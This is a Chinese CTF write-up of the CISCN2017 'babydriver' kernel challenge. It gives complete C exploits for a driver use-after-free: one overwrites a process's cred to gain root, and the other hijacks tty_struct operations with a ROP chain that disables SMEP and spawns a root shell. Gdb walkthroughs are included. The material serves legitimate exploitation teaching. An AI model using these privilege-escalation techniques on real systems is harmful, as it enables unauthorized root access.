您的位置:首页 > 其它

【Writeup】CISCN2017_Pwn_babydriver

2019-09-09 20:00 741 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/m0_38100569/article/details/100673103

0x01 环境配置

  • 题目所给文件三个

    boot.sh:启动脚本。多用qemu,保护措施与qemu不同的启动参数有关。
  • bzImage:kernel镜像。
  • rootfs.cpio:文件系统映像。
  • boot.sh内容

    需要安装qemu,然后执行./boot.sh。

  • 启动qemu虚拟机

    显然本题需要进行内核提权,然后获得flag。

  • 查看一下init文件内容

    insmod命令用于将给定的模块加载到内核中。可见内核加载了位于/lib/modules/4.4.72/目录下的babydriver.ko文件。CTF中的内核题很多都是出在加载的模块上。

    /proc/modules列出了所有load进入内核的模块列表:

    可以看到babydriver这个模块被加载进了kernel中,并且显示了其加载的地址。

  • 接下来需要对babydriver.ko文件进行静态分析,首先将rootfs.cio文件系统映像解包,写一个解包的脚本:

    # sudo chmod a+x dec.sh
    # ./dec.sh
    mkdir fs
    cd fs
    cp ../rootfs.cpio ./rootfs.cpio.gz
    gunzip ./rootfs.cpio.gz
    cpio -idmv < rootfs.cpio
    rm rootfs.cpio

  • 0x02 静态分析

    • 获取/lib/modules/4.4.72/babydriver.ko文件,查看文件信息:

    • 拖入IDA 64bits进行分析

      babydriver_initbabydriver_exit函数进行的是参数设置之类的工作,唯一值得注意的是init中设置了/dev/babydev作为设备文件。

    • babyopenbabyrelease为全局变量babydev_structf分别分配内存和释放内存。

      全局变量babydev_struct由一个device_buf和它的长度device_buf_len两部分组成:

      babyopen函数调用kmem_cache_alloc_trace函数,分配了一个64字节大小的内存给device_buf,将长度记录在device_buf_len中:

      这个分配方式其实和kernel中分配内存所使用的kmalloc是一个原理:

      babyrelease函数调用free释放内存:

    • babywritebabyread函数的功能分别为从用户buffer读取内容至device_buf和向用户buffer写入device_buf中的内容,用户传递长度和缓冲区地址作为参数,只有device_buf_len超过了这个长度才可以进行拷贝或者输出。两者都首先进行了device_buf指针是否为空的检查,再进行后续操作。

      babywrite函数:

      babyread函数:

    • babyioctl函数定义了一个命令,该命令执行的效果是释放现有的device_buf,按照用户传入的大小重新分配一块内存区域给device_buf,再记录长度到device_buf_len中。

      babyioctl函数:

    0x03 解题思路一:UAF修改cred

      在记录解题思路之前进行一些原理的说明。

    SLAB&SLUB

      kernel中没有libc,但是仍然需要内存的分配和释放,这时就会使用到kmalloc&kfree API(相当于用户态使用的malloc&free)。kmalloc&kfree的实现是通过SLAB或SLUB分配器,现在一般是SLUB分配器。分配器通过一个多级的结构进行管理。首先有cache层,cache是一个结构,其中保存的对象分为空对象、部分使用的对象和完全使用的对象进行管理。对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,每个cache对应一个2的幂次大小的一组内存对象。

      SLAB和SLUB都是内核的内存管理机制。为了提高效率,SLAB要求系统暂时保留已经释放的内核对象空间,以便下次申请时不需要再次初始化和分配。但是SLAB比较严格,需要再次申请的数据类型和大小与原先的完全一样,并且不同cache的无法分在同一页内;而SLUB较为宽松,和堆分配机制更为相似。

    struct cred

      kernel中会记录进程的权限是通过cred结构体记录的。每个进程都会分配一个cred结构体,其中保存有该进程的权限信息(uid&gid)。uid=0&gid=0说明是root权限进程。本题的利用目标就是改写进程的cred内容使其uid=0&gid=0。

      stuct cred源码如下(v4.4.72):

    struct cred {
    atomic_t	usage;
    #ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t	subscribers;	/* number of processes subscribed */
    void		*put_addr;
    unsigned	magic;
    #define CRED_MAGIC	0x43736564
    #define CRED_MAGIC_DEAD	0x44656144
    #endif
    kuid_t		uid;		/* real UID of the task */
    kgid_t		gid;		/* real GID of the task */
    kuid_t		suid;		/* saved UID of the task */
    kgid_t		sgid;		/* saved GID of the task */
    kuid_t		euid;		/* effective UID of the task */
    kgid_t		egid;		/* effective GID of the task */
    kuid_t		fsuid;		/* UID for VFS ops */
    kgid_t		fsgid;		/* GID for VFS ops */
    unsigned	securebits;	/* SUID-less security management */
    kernel_cap_t	cap_inheritable; /* caps our children can inherit */
    kernel_cap_t	cap_permitted;	/* caps we're permitted */
    kernel_cap_t	cap_effective;	/* caps we can actually use */
    kernel_cap_t	cap_bset;	/* capability bounding set */
    kernel_cap_t	cap_ambient;	/* Ambient capability set */
    #ifdef CONFIG_KEYS
    unsigned char	jit_keyring;	/* default keyring to attach requested
    * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key	*process_keyring; /* keyring private to this process */
    struct key	*thread_keyring; /* keyring private to this thread */
    struct key	*request_key_auth; /* assumed request_key authority */
    #endif
    #ifdef CONFIG_SECURITY
    void		*security;	/* subjective LSM security */
    #endif
    struct user_struct *user;	/* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;	/* supplementary groups for euid/fsgid */
    struct rcu_head	rcu;		/* RCU deletion hook */
    };

      通过查找各种类型所占内存大小、对齐规则可知cred结构体的总大小是0xa8,一直到gid结束是28个字节。

    UAF利用

      管理机制为了提升效率一般不会把刚释放的小堆块立刻回收,而是标记为空闲,这样再次申请时大小类似的内存区域时可以迅速分配。这样如果申请一个大小合适的堆块后释放,然后又申请了一个相同大小的堆块,系统就会把之前刚释放的堆块分配给新的指针。一般程序Use After Free漏洞产生的原因在于第一个堆块被释放后,指针没有置为NULL,仍然指向原有的内存区域,这样使得堆块被使用的时候,第一个指针可以随意修改这个堆块的内容从而造成危险。

      本题按常规思路来看是没有漏洞的,但是kernel中的UAF利用需要有多线程的思维。在本题中,由于babydev_struct是一个全局共享变量,因此如果打开两次设备,第二次分配的空间会覆盖第一次的,那么如果释放了第一个,第二个就相当于指向了已经被释放的空闲空间;又因为可以通过babyiotcl函数修改buffer大小,因此可以得出利用思路:

    • 打开两次设备,通过ioctlbabydev_struct.device_buf大小变为的cred结构体的大小
    • 释放第一个设备,fork出一个新的进程,这个进程的cred结构体就会放在babydev_struct.device_buf所指向的内存区域
    • 使用第二个描述符,调用write向此时的babydev_struct.device_buf中写入28个0,刚好覆盖至uid和gid,实现root提权
    EXP
    #include<stdio.h>
    #include<fcntl.h>
    #include <unistd.h>
    int main(){
    int fd1,fd2,id;
    char cred[0xa8] = {0};
    fd1 = open("dev/babydev",O_RDWR);
    fd2 = open("dev/babydev",O_RDWR);
    ioctl(fd1,0x10001,0xa8);
    close(fd1);
    id = fork();
    if(id == 0){
    write(fd2,cred,28);
    if(getuid() == 0){
    printf("[*]welcome root:\n");
    system("/bin/sh");
    return 0;
    }
    }
    else if(id < 0){
    printf("[*]fork fail\n");
    }
    else{
    wait(NULL);
    }
    close(fd2);
    return 0;
    }
    编译与执行
    • 编译exp并将其放入解包的文件系统中

      gcc exp.c -static -o ./fs/exp
    • 重新打包kernel镜像

      # sudo chmod a+x c.sh
      # ./c.sh
      cd fs
      find . | cpio -o --format=newc > ../rootfs.img

      更改boot.sh中的

      -initrd rootfs.cpio

      -initrd rootfs.img

      保存并运行boot.sh

    • qemu中执行exp

      提权成功。

    gdb调试exp环境配置
    • 提取vmlinux

      使用脚本extract-vmlinux提取出带符号的源码(脚本直接复制到linux中保存即可使用)

      ./extract-vmlinux ./bzImage > vmlinux
    • 启动gdb

      gdb ./vmlinux -q
    • 导入符号表

      add-symbol-file ./fs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000

      两个参数分别为babydriver.ko在解包后的文件系统中的路径以及.text段的地址。地址可以直接在qemu中查看:

    • 增加远程调试参数后启动qemu

      在boot.sh中添加如下参数:

      -gdb tcp::1234

      保存后执行./boot.sh

    • gdb连接程序

      gdb中执行:

      target remote 127.0.0.1:1234

      接着就可以下断点,然后按c继续执行,再在qemu虚拟机中运行exp进行正常调试。

    gdb调试exp过程
    • 分别在babyopen、babyioctl、babywrite三处下断点

    • qemu中运行exp

    • 第一次babyopen断下

      si逐条单步步过汇编代码,直到为babydev_struct赋值的语句

      babydev_struct.dev_buf的地址为0xffffffffc00024d0,babydev_struct.dev_buf_len的地址为0xffffffffc00024d8

    • 查看该处内容

      目前还都是0

    • 执行完两条赋值语句后

      0xffffffffc00024d0 dev_buf -> 0xffff880000b8b700
      0xffffffffc00024d8 dev_buf_len -> 0x0000000000000040
    • 查看buffer内容

  • 第二次babyopen断下

      与第一次做法相同,使用ni一直到赋值语句

      可以看到babydev_struct地址仍然是0xffffffffc00024d0。并且这个地址无论运行多少次都不会变。

    • 查看内容

      0xffffffffc00024d0 dev_buf -> 0xffff880000b8be40
      0xffffffffc00024d8 dev_buf_len -> 0x0000000000000040

      buffer进行了重新分配。

  • babyioctl断下

      si运行至刚好运行完重新赋值的语句处

    • 查看babydev_struct内容
      0xffffffffc00024d0 dev_buf -> 0xffff8800003d11240
      0xffffffffc00024d8 dev_buf_len -> 0x00000000000000a8
      可以看到babydev_struct又进行了buffer的重新分配,大小变成了0xa8,也就是cred结构体的大小。
  • babywrite断下


    此时fork函数执行结束,子进程的cred结构体被放入babydev_struct.dev_buf指向的区域

      si运行至babywrite返回处
    • 查看此时的babydev_struct.dev_buf

      前28个字节被写为0,按c继续运行可以看到提权成功。

    0x04 解题思路二:kernel ROP——UAF+bypassSMEP+ret2usr

    分析

      执行open(“/dev/ptmx”, O_RDWR | O_NOCTTY) 操作会打开ptmx这种tty设备,申请一块内核空间,其中放置 tty_struct 这个结构体,其内容如下:

    struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;     // target
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
    flow_stopped:1,
    unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
    packet:1,
    unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;
    #define N_TTY_BUF_SIZE 4096
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
    } __randomize_layout;

      其中值得注意的是第五个成员,它的类型是名为 tty_operations 的结构体:

    struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
    struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
    const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
    unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
    unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
    unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
    struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
    #ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
    #endif
    int (*proc_show)(struct seq_file *, void *);
    } __randomize_layout;

      其中有很多函数指针。这些指针也很容易触发,比如使用设备的 open 操作就会触发其中的int (*open)(struct tty_struct * tty, struct file * filp);函数指针,使用 ioctl 就会触发其中的int (*ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);函数,依次类推。

      那么大致思路就有了:首先与解法一中做法相同,通过利用UAF控制一个tty_struct结构体,然后使用第二个文件描述符对其第五个成员const struct tty_operations *ops的内容进行修改,使其指向一个伪造的tty_operations类型的结构体。在这个fake_tty_ops中,把需要利用的函数指针所在位置的内容,改为需要执行的代码的地址,这样就使内核执行流发生了转向。

      EXP达成的最终目标是:目标进程在内核态执行提权shellcode—— commit_creds(prepare_kernel_cred(0)) 后,返回用户态执行getshell代码system("/bin/sh")

    ​ 基于这个目标考虑几个具体的问题:

    • 内核执行流转向何处?

      ​ 由于开启了SMEP保护,进程处于内核态(ring0)的时候无法执行任何用户空间的代码,因此第一处包括之后绕过SMEP之前的跳转必须是位于内核空间的代码。

    • 转向后第一步做什么?

      ​ 为了完成绕过SMEP、执行提权shellcode、返回用户态等一系列不同的操作,必须进行ROP,然而内核态时使用的是用户无法控制的内核栈,这样跳转后执行完第一步就没法继续了,因此需要进行的第一步就是 栈迁移,具体来说就是跳转到一个内核gadget,这个gadget执行后,栈指针rsp落入用户可知并可控的用户空间,在这个空间中存放ROP链,从而完成一系列操作。

    • 如何进行栈迁移?

      ​ 可以利用 xchg eax,esp;ret 这条gadget。这条指令执行的效果是:rax和rsp寄存器的低32位内容互换,而高32位全部清零。在 ioctlwrite 等函数中触发执行流转向的语句是 call rax,也就是说rax中保存了fake_tty_ops中目标成员的内容,即执行流第一步转向的地址。如果是64位全部交换那么rsp肯定是内核地址,但是只交换低32位而高位清零后,rsp就指向了用户空间。而这个用户空间地址是已知的,也就是xchg eax,esp;ret实际地址取低32位后的值。那么就可以使用mmap在这个地址附近申请内存块放置ROP链。

    • 如何绕过SMEP?

      ​ SMEP是否开启完全由CR4寄存器的第20位是1还是0决定。使用 mov cr4,rdi;ret 这样的gadget就可以修改CR4的值关闭SMEP。

    • 如何获得commit_creds和prepare_kernel_cred这两个内核函数的地址?

      ​ 本题没有开启kASLR,所有的内核地址都是固定的,可以在EXP中直接写死。这两个函数地址使用 cat /proc/kallsyms | grep commit_creds 命令就可以查看,但是这个命令需要管理员身份才能执行。查看init启动脚本,发现/proc/kallsyms文件被拷贝到了/tmp/kallsyms路径下,因此查看/tmp/kallsyms即可。获取地址后就可以在EXP中定义对应的函数指针类型,把各自的地址赋给对应类型的函数指针,然后编写一个用户空间的函数,获取其地址shellcode_addr放入ROP链中。

    • 执行完提权shellcode后,如何返回用户空间?

      ​ 需要两个特殊gadget。

      swapgs:用于恢复GS的值。由用户态切换为内核态时会执行这个指令,返回时同样需要执行一次
    • iretq:特权返回指令(64bits,32bits下为iret)。执行完此条指令可以返回用户空间,但是需要一定的栈布局,作为返回用户态的信息。栈布局如下: RIP
    • CS
    • EFLAGS
    • RSP
    • SS

    ​ 其中的CS、EFLAGS和SS都可以在EXP运行一开始保存。RIP就是iretq的地址,RSP是用户栈顶指针,这里选择一块可用的用户区域即可(之前的假栈空间)。

    EXP
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sched.h>
    #include <errno.h>
    #include <pty.h>
    #include <sys/mman.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/syscall.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <sys/ipc.h>
    #include <sys/sem.h>
    
    #define COMMAND 0x10001
    
    #define ALLOC_NUM 50
    
    struct tty_operations
    {
    struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /*     0     8 */
    int (*install)(struct tty_driver *, struct tty_struct *);              /*     8     8 */
    void (*remove)(struct tty_driver *, struct tty_struct *);              /*    16     8 */
    int (*open)(struct tty_struct *, struct file *);                       /*    24     8 */
    void (*close)(struct tty_struct *, struct file *);                     /*    32     8 */
    void (*shutdown)(struct tty_struct *);                                 /*    40     8 */
    void (*cleanup)(struct tty_struct *);                                  /*    48     8 */
    int (*write)(struct tty_struct *, const unsigned char *, int);         /*    56     8 */
    /* --- cacheline 1 boundary (64 bytes) --- */
    int (*put_char)(struct tty_struct *, unsigned char);                            /*    64     8 */
    void (*flush_chars)(struct tty_struct *);                                       /*    72     8 */
    int (*write_room)(struct tty_struct *);                                         /*    80     8 */
    int (*chars_in_buffer)(struct tty_struct *);                                    /*    88     8 */
    int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int);             /*    96     8 */
    long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /*   104     8 */
    void (*set_termios)(struct tty_struct *, struct ktermios *);                    /*   112     8 */
    void (*throttle)(struct tty_struct *);                                          /*   120     8 */
    /* --- cacheline 2 boundary (128 bytes) --- */
    void (*unthrottle)(struct tty_struct *);           /*   128     8 */
    void (*stop)(struct tty_struct *);                 /*   136     8 */
    void (*start)(struct tty_struct *);                /*   144     8 */
    void (*hangup)(struct tty_struct *);               /*   152     8 */
    int (*break_ctl)(struct tty_struct *, int);        /*   160     8 */
    void (*flush_buffer)(struct tty_struct *);         /*   168     8 */
    void (*set_ldisc)(struct tty_struct *);            /*   176     8 */
    void (*wait_until_sent)(struct tty_struct *, int); /*   184     8 */
    /* --- cacheline 3 boundary (192 bytes) --- */
    void (*send_xchar)(struct tty_struct *, char);                           /*   192     8 */
    int (*tiocmget)(struct tty_struct *);                                    /*   200     8 */
    int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int);        /*   208     8 */
    int (*resize)(struct tty_struct *, struct winsize *);                    /*   216     8 */
    int (*set_termiox)(struct tty_struct *, struct termiox *);               /*   224     8 */
    int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /*   232     8 */
    const struct file_operations *proc_fops;                                 /*   240     8 */
    
    /* size: 248, cachelines: 4, members: 31 */
    /* last cacheline: 56 bytes */
    };
    
    typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
    
    _commit_creds commit_creds = 0xffffffff810a1420;
    _prepare_kernel_cred prepare_kernel_cred = 0xffffffff810a1810;
    unsigned long native_write_cr4 = 0xFFFFFFFF810635B0;
    unsigned long xchgeaxesp = 0xFFFFFFFF81007808;
    unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
    unsigned long iretq = 0xFFFFFFFF8181A797;
    unsigned long swapgs = 0xFFFFFFFF81063694;
    
    void get_root_payload(void)
    {
    commit_creds(prepare_kernel_cred(0));
    }
    
    void get_shell()
    {
    char *shell = "/bin/sh";
    char *args[] = {shell, NULL};
    execve(shell, args, NULL);
    }
    
    struct tty_operations fake_ops;
    
    char fake_procfops[1024];
    
    unsigned long user_cs, user_ss, user_rflags;
    
    static void save_state()
    {
    asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "pushfq\n"
    "popq %2\n"
    : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
    :
    : "memory");
    }
    
    void set_affinity(int which_cpu)
    {
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(which_cpu, &cpu_set);
    if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0)
    {
    perror("sched_setaffinity()");
    exit(EXIT_FAILURE);
    }
    }
    
    int main()
    {
    
    int fd = 0;
    int fd1 = 0;
    int cmd;
    int arg = 0;
    char Buf[4096];
    int result;
    int j;
    struct tty_struct *tty;
    int m_fd[ALLOC_NUM],s_fd[ALLOC_NUM];
    int i,len;
    unsigned long lower_addr;
    unsigned long base;
    char buff2[0x300];
    
    printf("[+]Save state...\n");
    save_state();
    printf("[+]save_state done\n");
    
    printf("[+]Set affinity...\n");
    set_affinity(0);
    printf("[+]set_affinity done\n");
    
    printf("[+]Prepare fake_ops and fake_procfops...\n");
    memset(&fake_ops, 0, sizeof(fake_ops));
    memset(fake_procfops, 0, sizeof(fake_procfops));
    fake_ops.proc_fops = &fake_procfops;
    fake_ops.ioctl = xchgeaxesp;
    printf("[+]fake_tty_ops & fake_procfops prepare done\n");
    printf("[+]addr of fake_ops: %p\n",&fake_ops);
    printf("[+]addr of fake_procfops: %p\n",fake_procfops);
    
    //open two babydev
    printf("[+]Open two babydev...\n");
    fd = open("/dev/babydev",O_RDWR);
    fd1 = open("/dev/babydev",O_RDWR);
    printf("[+]babyopen twice done\n");
    
    //init babydev_struct
    printf("[+]Init buffer for tty_struct(size:%d)...\n",sizeof(tty));
    ioctl(fd,COMMAND,0x2e0);
    ioctl(fd1,COMMAND,0x2e0);
    printf("[+]babyioctl twice done\n");
    
    //race condition
    printf("[+]Free buffer 1st...\n");
    close(fd);
    printf("[+]free fd done\n");
    
    printf("[+]Try to occupy tty_struct...\n");
    for(i=0;i<ALLOC_NUM;i++)
    {
    m_fd[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    if(m_fd[i] == -1)
    {
    printf("[-]The %d pmtx error\n",i);
    }
    }
    printf("[+]open ptmx done\n");
    
    printf("[+]Let's debug it\n");
    printf("[+]addr of xchgeaxesp: %p\n",xchgeaxesp);
    lower_addr = xchgeaxesp & 0xFFFFFFFF;
    base = lower_addr & ~0xFFF;
    if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base)
    {
    perror("mmap");
    exit(1);
    }
    unsigned long rop_chain[]= {
    poprdiret,
    0x6f0, // cr4 with smep disabled
    native_write_cr4,
    get_root_payload,
    swapgs,
    0, // dummy
    iretq,
    get_shell,
    user_cs, user_rflags, base + 0x10000, user_ss
    };
    memcpy(lower_addr, rop_chain, sizeof(rop_chain));
    printf("[+]addr of mmap base: %p\n",base);
    printf("[+]addr of ROP chain: %p\n",lower_addr);
    printf("[+]addr of get_root_payload: %p\n",get_root_payload);
    printf("[+]addr of get_shell: %p\n",get_shell);
    
    //uaf here
    
    printf("[+]Read tty_struct...\n");
    len = read(fd1, buff2, 0x20);
    if(len == -1)
    {
    perror("read");
    exit(-1);
    }
    printf("[+]read tty_struct done\n");
    //printf("read len=%d\n", len);
    
    printf("[+]Head content of tty_struct(before):\n");
    for(j =0; j < 4; j++)
    {
    printf("(%d)%p\n", j,*(unsigned long long*)(buff2+j*8));
    }
    
    printf("[+]Modify tty_struct...\n");
    *(unsigned long long*)(buff2+3*8) = &fake_ops;
    printf("[+]modify tty_struct done\n");
    
    printf("[+]Write back to tty_struct...\n");
    len = write(fd1, buff2, 0x20);
    if(len == -1)
    {
    perror("write");
    exit(-1);
    }
    printf("[+]write back to tty_struct done\n");
    
    printf("[+]Head content of tty_struct(after):\n");
    for(j =0; j < 4; j++)
    {
    printf("(%d)%p\n", j,*(unsigned long long*)(buff2+j*8));
    }
    
    printf("[+]Get shell...\n");
    for(i = 0; i < 256; i++)
    {
    ioctl(m_fd[i], 0, 0);//FFFFFFFF814D8AED call rax
    }
    printf("[+]get shell done");
    }
    调试
    • UAF利用之前准备好fake_ops

      proc_fops设置为合法指针即可,这里是随便申请了一块空间后赋值为其地址。

    • 两次babyopen之后修改buffer大小控制了tty_struct

    • babywrite修改tty_struct内容后

    • ioctl函数中触发执行流转向

    • 此时的栈为内核栈

    • si单步运行

    • 执行xchg指令后





      栈切换为事先布置好的ROP链。

    • 进入ROP链





    • 提权成功

  • 内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: